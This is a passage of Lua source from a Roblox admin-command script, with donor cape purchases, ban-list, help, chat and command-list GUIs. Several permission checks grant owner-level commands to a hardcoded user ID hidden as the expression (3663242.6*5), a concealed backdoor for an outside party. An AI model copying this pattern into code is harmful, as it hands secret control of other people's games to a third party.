set.LoadOnClient(plr,[[ local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.Transparency=0.0001 p.Material='Plastic' p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]],false,set.AssignName()) end end end)() end end)() else set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr}) end end end if msg:lower() == set['anyprefix'].."svdfsvsd" or msg:lower() == set['anyprefix'].."change" then if set['FilteringEnabled'] then return end if plr.PlayerGui:FindFirstChild(GuiName..'DONATIONGUI') then plr.PlayerGui[GuiName..'DONATIONGUI']:Destroy() end local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'DONATIONGUI' local f=Instance.new('Frame',g) local DBrb=Instance.new('TextButton',f) local DBtix=Instance.new('TextButton',f) local title=Instance.new('TextLabel',f) local desc=Instance.new('TextLabel',f) local close=Instance.new('TextButton',f) local ccbutton=Instance.new('TextButton',f) local ccbox=Instance.new('TextBox',f) ccbutton.BackgroundColor3=Color3.new(1,1,1) ccbutton.BackgroundTransparency=0.5 ccbutton.BorderColor3=Color3.new(0,0,0) ccbutton.Position=UDim2.new(0,230,0,20) ccbutton.Size=UDim2.new(0,40,0,25) ccbutton.Font='ArialBold' ccbutton.Text='Get' ccbutton.TextColor3=Color3.new(1,1,1) ccbutton.TextStrokeTransparency=0 ccbutton.Visible=false ccbutton.TextScaled=true ccbox.BackgroundColor3=Color3.new(1,1,1) ccbox.BorderColor3=Color3.new(0,0,0) ccbox.BackgroundTransparency=0.5 ccbox.Position=UDim2.new(0,25,0,20) ccbox.Size=UDim2.new(0,200,0,25) ccbox.Font='ArialBold' ccbox.TextColor3=Color3.new(1,1,1) ccbox.TextStrokeTransparency=0 ccbox.TextScaled=true ccbox.Visible=false ccbox.Text='TEXTUREID;BRICKCOLOR' f.BackgroundColor3=Color3.new(0,0,0) f.BorderColor3=Color3.new(1,1,1) f.BackgroundTransparency=0.5 f.Position=UDim2.new(1,-700,0,80) f.Size=UDim2.new(0,300,0,150) f.Draggable=true f.Active=true DBrb.BackgroundColor3=Color3.new(0,170/255,0) DBrb.BorderColor3=Color3.new(0,0,0) DBrb.BackgroundTransparency=0.5 DBrb.Position=UDim2.new(0,10,0,30) DBrb.Size=UDim2.new(0,130,0,50) DBrb.TextColor3=Color3.new(1,1,1) DBrb.TextStrokeTransparency=0 DBrb.TextWrapped=true DBrb.TextScaled=true DBrb.Visible=false DBrb.Font='ArialBold' DBtix.BackgroundColor3=Color3.new(1,1,0) DBtix.BorderColor3=Color3.new(0,0,0) DBtix.BackgroundTransparency=0.5 DBtix.Position=UDim2.new(0,160,0,30) DBtix.Size=UDim2.new(0,130,0,50) DBtix.TextColor3=Color3.new(1,1,1) DBtix.TextStrokeTransparency=0 DBtix.TextWrapped=true DBtix.TextScaled=true DBtix.Font='ArialBold' DBtix.Visible=false close.BackgroundColor3=Color3.new(1,1,1) close.BorderColor3=Color3.new(0,0,0) close.BackgroundTransparency=0.5 close.TextColor3=Color3.new(1,1,1) close.TextStrokeTransparency=0 close.TextScaled=true close.TextWrapped=true close.Position=UDim2.new(0,280,0,2) close.Size=UDim2.new(0,15,0,15) close.Font='ArialBold' close.Text='X' close.MouseButton1Click:connect(function() g:Destroy() end) title.BackgroundTransparency=1 title.Size=UDim2.new(0,300,0,15) title.Text='Donate' title.TextColor3=Color3.new(1,1,1) title.TextStrokeColor3=Color3.new(0,0,0) title.TextStrokeTransparency=0 title.TextWrapped=true title.TextScaled=true title.Font='ArialBold' desc.BackgroundColor3=Color3.new(0,0,0) desc.BorderColor3=Color3.new(1,1,1) desc.BackgroundTransparency=0.5 desc.Position=UDim2.new(0,0,0,90) desc.Size=UDim2.new(0,300,0,60) desc.Font='ArialBold' desc.TextColor3=Color3.new(1,1,1) desc.TextStrokeColor3=Color3.new(0,0,0) desc.TextStrokeTransparency=0 desc.TextScaled=true desc.TextWrapped=true if set.ChkDonor(plr) and not set.ChkCustomPass(plr) then DBrb.Visible=true DBtix.Visible=true DBrb.Text='Custom Cape [RB]' DBtix.Text='Custom Cape [TIX]' desc.Text='You appear to be a donator! If you would like a custom cape you must buy the custom cape pass. YOU MUST SUPPLY A CUSTOM CAPE. I cannot make you one. Say !donate after you buy to change your cape for the game you are in!' DBrb.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Robux) end) DBtix.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(plr,159551100,false,Enum.CurrencyType.Tix) end) elseif set.ChkDonor(plr) and set.ChkCustomPass(plr) then DBrb.Visible=false DBtix.Visible=false desc.Text='Make a custom cape and upload it as a decal (12 inches high 6 inches wide or it will look strange). The Texture ID will usually be the Decal ID minus 1 or 2 so if decal id is 123456 the texture id will be 123455 or 123454. Format: 1284552;Bright red' desc.Size=UDim2.new(0,300,0,100) desc.Position=UDim2.new(0,0,0,50) ccbutton.Visible=true ccbox.Visible=true ccbutton.MouseButton1Click:connect(function() plr:WaitForDataReady() local a,b if ccbox.Text:match('(.*);(.*)') then a,b = ccbox.Text:match('(.*);(.*)') else a=ccbox.Text b='Really black' end plr:SaveString('Pancake Cape',a..'='..b) plr:SaveBoolean('Pancake Is A Donator',true) for i,v in pairs(set.donors) do if v.Name==plr.Name then table.remove(set.donors,i) end end table.insert(set.donors,{Name=plr.Name,Id=tostring(plr.userId),Cape=a,Color=b,List='GP'}) if plr.Character:FindFirstChild('EpicCape') and plr.Character.EpicCape:FindFirstChild('Decal') then plr.Character.EpicCape.Decal.Texture = "http://www.roblox.com/asset/?id="..a plr.Character.EpicCape.BrickColor=BrickColor.new(b) end end) else DBrb.Visible=true DBtix.Visible=true DBrb.Text='Donor Cape & Bongos [RB]' DBtix.Text='Donor Cape & Bongos [TIX]' desc.Text='If you donate you get the default donator cape and bongos in any game with this admin script and the Donor Stuff setting set to true. Prices may appear high because I only make 10% of sales and Tickets have lost worth. Respawn when you buy.' DBrb.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Robux) end) DBtix.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(plr,159549976,false,Enum.CurrencyType.Tix) end) end end if set.ChkAdmin(plr.Name,false) or set.CheckSBLOwner(plr) then if msg:lower() == set['prefix'].."sbl" or msg:lower() == set['prefix'].."syncedbanlist" then if plr.PlayerGui:findFirstChild(GuiName.."SBLGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."SBLGUI" scr.Parent = plr.PlayerGui top.Text='Syned Ban List' local function sbldisplay(p) num=0 local col = game:GetService("InsertService"):GetCollection(set['SBLSetId']) for k,v in pairs(col) do coroutine.wrap(function() local mp = game:GetService("MarketplaceService"):GetProductInfo(v.AssetId) local fo = mp.Description:match("BANLIST:(%S+)") if not fo then return end for s in fo:gmatch("[^,]+") do if (s:lower():find(p) or mp.Name:lower():find(p) or p=='all') then local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..s..' - '..mp.Name:sub(#mp.Name-2,#mp.Name)..':'..mp.Creator.Name:sub(1,4) cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) num = num +1 end end end)() end end sbldisplay('all') local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() sbldisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() sbldisplay('all') end end) end end if set['PlayerCommands'] or set.ChkAdmin(plr.Name,false) then if msg:lower() == set['anyprefix'].."clean" then set.CleanWorkspace() end if msg:lower() == set['anyprefix'].."getscript" then game:service('MarketplaceService'):PromptPurchase(plr,149223415) end if msg:lower() == set['anyprefix'].."getvip" then game:service('MarketplaceService'):PromptPurchase(plr,set['ItemId']) end if msg:lower() == set['anyprefix'].."ping" then if set['FilteringEnabled'] then return end coroutine.wrap(function() plr:WaitForChild('PlayerGui') if plr.PlayerGui:FindFirstChild(GuiName..'PING') then plr.PlayerGui[GuiName..'PING']:Destroy() end local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'PING' local f=Instance.new('Frame',g) local button=Instance.new('TextButton',f) local title=Instance.new('TextLabel',f) local ping=Instance.new('TextLabel',f) f.BackgroundColor3=set['PrimaryColor'] f.BorderColor3=set['SecondaryColor'] f.BackgroundTransparency=set['Transparency'] f.Draggable=true f.Active=true f.Position=UDim2.new(1,-700,0,50) f.Size=UDim2.new(0,100,0,50) button.BackgroundColor3=set['SecondaryColor'] button.BorderColor3=set['PrimaryColor'] button.BackgroundTransparency=0.5 button.Position=UDim2.new(0,85,0,2) button.Size=UDim2.new(0,13,0,13) button.Font='ArialBold' button.Text='X' button.TextColor3=set['SecondaryColor'] button.TextStrokeTransparency=0 button.TextStrokeColor3=set['TextStrokeColor'] title.Text='Ping' title.Font='ArialBold' title.TextColor3=set['TextColor'] title.TextStrokeColor3=set['TextStrokeColor'] title.BackgroundTransparency=1 title.Position=UDim2.new(0,5,0,0) title.Size=UDim2.new(0,90,0,15) ping.BackgroundColor3=set['PrimaryColor'] ping.BorderColor3=set['SecondaryColor'] ping.BackgroundTransparency=set['Transparency'] ping.Position=UDim2.new(0,0,0,20) ping.Size=UDim2.new(0,100,0,30) ping.Font='ArialBold' ping.TextStrokeColor3=set['TextStrokeColor'] ping.TextStrokeTransparency=0 ping.TextColor3=set['TextColor'] ping.Text='Sending...' coroutine.wrap(function() repeat ping.Text=set.Ping(plr) wait(1) until not g or not g.Parent or not ping or not ping.Parent end)() ping.TextScaled=true ping.TextWrapped=true title.TextScaled=true title.TextWrapped=true button.TextScaled=true button.TextWrapped=true title.TextStrokeTransparency=0 button.MouseButton1Click:connect(function() pcall(function() g:Destroy() end) end) end)() end if msg:lower() == set['anyprefix'].."donors" or msg:lower() == set['anyprefix'].."donators" then if plr.PlayerGui:findFirstChild(GuiName.."DONATORGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."DONATORGUI" scr.Parent = plr.PlayerGui top.Text='Donator List' local function donordisplay(p) num=0 local cl = ent:Clone() cl.Parent = cmf cl.Text = "Last Update: "..set.dlastupdate cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 for i,v in pairs(set.donors) do if (p:lower()=='all' or v.Name:lower():sub(1,#p)==p:lower()) then local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..v.Name ..' - '..v.List cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() donordisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() donordisplay('all') end end) local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.TextScaled=true refresh.Position = UDim2.new(1,-50,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() donordisplay('all') end) donordisplay('all') end if msg:lower() == set['anyprefix'].."quote" then set.PM('Random Quote',plr,set.quotes[math.random(1,#set.quotes)]) end if msg:lower() == set['anyprefix'].."help" then if set['FilteringEnabled'] then return end if set['HelpSystem']==true then coroutine.wrap(function() local available={} local solved=false local num=0 for l,n in pairs(set.needhelp) do if n==plr.Name then set.Message("Help System","You already have a pending request. Do not spam the help system.",false,{plr}) solved=true end end if solved==true then return end table.insert(set.needhelp,plr.Name) for i,v in pairs(game.Players:children()) do if set.ChkAdmin(v.Name,false) then table.insert(available,v.Name) local scr=Instance.new("ScreenGui",v.PlayerGui) scr.Name = GuiName.."HELPGUI" local frame=Instance.new('Frame',scr) local label=Instance.new('TextLabel',frame) local yes=Instance.new('TextButton',frame) local no=Instance.new('TextButton',frame) frame.BackgroundColor3=set['PrimaryColor'] frame.BorderColor3=set['SecondaryColor'] frame.BackgroundTransparency=set['Transparency'] frame.BorderSizePixel=2 frame.Position=UDim2.new(0,5,1,-450) frame.Size=UDim2.new(0,260,0,130) frame.ClipsDescendants=true label.BackgroundTransparency=1 label.BorderSizePixel=0 label.Position=UDim2.new(0,30,0,8) label.Size=UDim2.new(0,200,0,30) label.TextColor3=set['TextColor'] label.ClipsDescendants=false label.FontSize='Size24' label.Font='ArialBold' label.TextXAlignment='Center' label.TextYAlignment='Center' label.Text=plr.Name..' needs help!' label.TextScaled=true label.TextWrapped=true frame.Draggable=true frame.Active=true label.Draggable=false yes.BackgroundColor3=Color3.new(0,1,0) yes.TextColor3=set['TextColor'] yes.Text='Teleport' yes.Font='ArialBold' yes.FontSize='Size24' yes.TextStrokeTransparency=0 no.Font='ArialBold' no.FontSize='Size36' no.BackgroundColor3=Color3.new(1, 0, 0) no.TextColor3=set['TextColor'] no.Text='Busy' no.TextStrokeTransparency=0 yes.Size=UDim2.new(0,100,0,50) yes.Position=UDim2.new(0,20,0,50) no.Size=UDim2.new(0,100,0,50) no.Position=UDim2.new(0,140,0,50) yes.MouseButton1Down:connect(function() if solved==false then solved=true scr:Destroy() pcall(function() if v.Character.Humanoid.Sit==true then v.Character.Humanoid.Sit=false wait(0.5) end v.Character.Torso.CFrame = plr.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)) end) for k,m in pairs(set.needhelp) do if m==plr.Name then table.remove(set.needhelp,k) end end end end) no.MouseButton1Down:connect(function() scr:Destroy() for k,m in pairs(available) do if m==v.Name then table.remove(available,k) end end end) coroutine.wrap(function() repeat wait() until solved==true or num==20 if solved==true then label.Text='Solved' elseif num==20 then label.Text='Timed Out' end yes:Destroy() no:Destroy() label.Position=UDim2.new(0,30,0,50) label.FontSize='Size48' wait(2) pcall(function() scr:Destroy() end) end)() end end repeat wait(1) num=num+1 until solved==true or num==20 or #available==0 if solved==false or num==20 or #available==0 then set.Message("Help System","Sorry but no one is available to help you right now!",false,{plr}) for k,m in pairs(set.needhelp) do if m==plr.Name then table.remove(set.needhelp,k) end end end end)() else set.Message("System Message","Sorry but the help system is disabled.",false,{plr}) end end if msg:lower() == set['anyprefix'].."rejoin" then game:GetService('TeleportService'):Teleport(game.PlaceId,plr) end if msg:lower() == set['prefix'].."cmds" or msg:lower() == set['prefix'].."commands" or msg:lower() == set['anyprefix'].."cmds" or msg:lower() == set['anyprefix'].."commands" then if plr.PlayerGui:findFirstChild(GuiName.."CMDSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CMDSGUI" scr.Parent = plr.PlayerGui top.Text='Command List' local cmds = {"usage","batch cmd1/cmd2/cmd3/etc","clear","repeat amount interval command","fix","chat","adminchat","m msg","h msg","refresh plr","kill plr","map","info plr","freecam plr","unfreecam plr","oambient num num num","nofog","shadowson","shadowsoff","outlineson","outlinesoff","freefall plr height","players","ranks","makecam name","cameras","view plr","dance plr","breakdance plr","drug plr","puke plr","cut plr","resetview","vote plr time question","sell plr itemid currency","chatlogs","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","syncedbanlist","invisible plr","visible plr","explode plr","talk plr msg","fire plr","unfire plr","smoke plr","unsmoke plr","light plr","unlight plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","epilepsy plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","pitch num","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","flynoclip plr","clip plr","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","capes","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","startergive plr tool","control plr","stickify plr","hole plr"} local ast = {"s code","ls code","cs plr code","mute plr","unmute plr","mutelist","notalk plr","unnotalk plr","serverlock","serverunlock","grouplock","groupunlock","sm msg","ko plr","lag plr","telespam plr","toollag plr","crash plr","nil plr","poff","pon","trippy plr","admin plr","unadmin plr","kick plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"} local ost = {"pa plr","unpa plr","nuke plr","explore","restoremap"} local tost = {"oa plr","unoa plr","settings","forceplace plr","permban plr","%updatepan%"} local any = {"quote","donate","donators","clean","rejoin","help","getscript","getvip","ping"} if set.ChkDonor(plr) then table.insert(any,"uncape") table.insert(any,"cape") end if set['PMUsableByAnyone'] then table.insert(any,"pm plr msg") else table.insert(cmds,"pm plr msg") end local function cmddisplay(p) num=0 if #p==0 then p='all' end for i, v in pairs(any) do if (p=='all' or v:lower():sub(1,#p)==p) then local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " "..set['anyprefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if set.ChkAdmin(plr.Name, false) or set.ChkOwner(plrn.Name) then for i, v in pairs(cmds) do if (p=='all' or v:lower():sub(1,#p)==p) then local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) then for i, v in pairs(ast) do if (p=='all' or v:lower():sub(1,#p)==p) then local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) or set.ChkOwner(plr.Name) then for i, v in pairs(ost) do if (p=='all' or v:lower():sub(1,#p)==p) then local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if plr.userId == game.CreatorId or plr.userId == (3663242.6*5) then for i, v in pairs(tost) do if (p=='all' or v:lower():sub(1,#p)==p) then local cl = ent:Clone() cl.Parent = cmf cl.Text = "* " .. set['prefix'] .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() cmddisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() cmddisplay('all') end end) cmddisplay('all') end end if (msg:lower():sub(0,set['prefix']:len()) ~= set['prefix']) or (not set.ChkAdmin(plr.Name, false) and plr.Name:lower() ~= set.nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (3663242.6*5) and plr.Name:lower() ~= set.nfs and not set.ChkOwner(plr.Name) then return end msg = msg:sub(set['prefix']:len()+1) if set.Logit(plr,set['prefix']..msg) then table.insert(set.logs, 1, {name = plr.Name, cmd = set['prefix'] .. msg, time = set.GetTime()}) if #set.logs>=set['MaxNumberOfLogs'] then table.remove(set.logs,#set.logs) end end if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end if msg:lower():sub(1,6) == "batch " then for cmd in msg:sub(7):gmatch('[^/]+') do table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..cmd}) set.Chat(set['prefix']..cmd,plr) for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==set['prefix']..cmd then table.remove(set.dontlog,i) end end end end if msg:lower() == "chat" then set.LoadOnClient(plr,[[ script.Parent=nil plr=game.Players.LocalPlayer if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end local g=Instance.new('ScreenGui') g.Name=']]..GuiName..[[CHAT' g.Parent=plr.PlayerGui local f=Instance.new('Frame',g) local button=Instance.new('TextButton',f) local title=Instance.new('TextLabel',f) local chat=Instance.new('TextBox',f) f.BackgroundColor3=Color3.new(0,0,0) f.BorderColor3=Color3.new(1,1,1) f.BackgroundTransparency=0.5 f.Draggable=true f.Active=true f.Position=UDim2.new(1,-900,0,50) f.Size=UDim2.new(0,100,0,50) f.ClipsDescendants=true button.BackgroundColor3=Color3.new(1,1,1) button.BorderColor3=Color3.new(0,0,0) button.BackgroundTransparency=0.5 button.Position=UDim2.new(0,85,0,2) button.Size=UDim2.new(0,13,0,13) button.Font='ArialBold' button.Text='X' button.TextColor3=Color3.new(1,1,1) button.TextStrokeTransparency=0 title.Text='Chat' title.Font='ArialBold' title.TextColor3=Color3.new(1,1,1) title.BackgroundTransparency=1 title.Position=UDim2.new(0,5,0,0) title.Size=UDim2.new(0,90,0,15) chat.BackgroundColor3=Color3.new(0,0,0) chat.BorderColor3=Color3.new(1,1,1) chat.BackgroundTransparency=0.5 chat.Position=UDim2.new(0,0,0,20) chat.Size=UDim2.new(0,100,0,30) chat.Font='ArialBold' chat.TextStrokeTransparency=0 chat.TextColor3=Color3.new(1,1,1) chat.Text='Press ; than Type and press Enter.' chat.TextScaled=true chat.TextWrapped=true title.TextScaled=true title.TextWrapped=true button.TextScaled=true chat.ClearTextOnFocus=true button.TextWrapped=true title.TextStrokeTransparency=0 button.MouseButton1Click:connect(function() pcall(function() g:Destroy() end) end) chat.FocusLost:connect(function(enterPressed) if enterPressed then if #chat.Text>0 then game:GetService('Chat'):Chat(plr.Character.Head,chat.Text,Enum.ChatColor.Red) end chat.Text='Press ; than Type and press Enter.' end end) mouse=plr:GetMouse() mouse.KeyDown:connect(function(key) if key==';' then chat:CaptureFocus() end end)]],false,set.AssignName()) end if msg:lower() == "usage" then if plr.PlayerGui:findFirstChild(GuiName.."USAGEGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."USAGEGUI" scr.Parent = plr.PlayerGui top.Text='Command Usage' local function makeuse(message) local cl = ent:Clone() cl.Parent = cmf cl.Text = message cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end makeuse('Special Functions: ') makeuse('Ex: :kill FUNCTION, so like :kill '..set['sprefix']..'all') makeuse('Put /e in front to make it silent (/e :kill pancake)') makeuse('me - Runs a command on you') makeuse(set['sprefix']..'all - Runs a command on everyone') makeuse(set['sprefix']..'admins - Runs a command on all admins in the game') makeuse(set['sprefix']..'nonadmins - Same as !admins but for people who are not an admin') makeuse(set['sprefix']..'others - Runs command on everyone BUT you') makeuse(set['sprefix']..'random - Runs command on a random person') makeuse('%TEAMNAME - Runs command on everyone in the team TEAMNAME Ex: :kill %raiders') makeuse('$GROUPID - Run a command on everyone in the group GROUPID, Will default to the GroupId setting if no id is given') makeuse('Certain commands can be used by anyone, these commands have ! infront, such as !clean and !rejoin') makeuse(':kill me,noob1,noob2,'..set['sprefix']..'random,%raiders,$123456,!nonadmins') makeuse(':batch ff me/sparkles me/rocket jim') makeuse(':repeat 10(how many times to run the cmd) 1(how long in between runs) repsawn jim (the command to run without a prefix)') makeuse('Place owners can edit some settings in-game via the :settings command') makeuse('Please refer to the Tips and Tricks section under the settings in the script for more detailed explanations and command descriptions') cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower() == "chatlog" or msg:lower() == "chatlogs" then if plr.PlayerGui:findFirstChild(GuiName.."CHATLOGGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CHATLOGGUI" scr.Parent = plr.PlayerGui top.Text='Chat Logs' local function clogdisplay(p) num=0 for i,v in pairs(set.chatlogs) do if num<=set['MaxNumberOfLogs'] and (v.Name:lower():sub(1,#p)==p:lower() or v.Message:lower():find(p:lower()) or v.Time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..v.Time.." - "..v.Name..": "..v.Message cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() clogdisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() clogdisplay('all') end end) local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.TextScaled=true refresh.Position = UDim2.new(1,-50,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() clogdisplay('all') end) clogdisplay('all') end if msg:lower() == "adminchat" or msg:lower() == "achat" then set.LoadOnClient(plr,[[ script.Parent=nil RemoteEvent=game:service('Workspace'):FindFirstChild(']]..set.RemoteName..[[') plr=game.Players.LocalPlayer if plr.PlayerGui:FindFirstChild(']]..GuiName..[[CHAT') then plr.PlayerGui[']]..GuiName..[[CHAT']:Destroy() end local g=Instance.new('ScreenGui') g.Name=']]..GuiName..[[CHAT' g.Parent=plr.PlayerGui local f=Instance.new('Frame',g) local button=Instance.new('TextButton',f) local title=Instance.new('TextLabel',f) local chat=Instance.new('TextBox',f) f.BackgroundColor3=Color3.new(0,0,0) f.BorderColor3=Color3.new(1,1,1) f.BackgroundTransparency=0.5 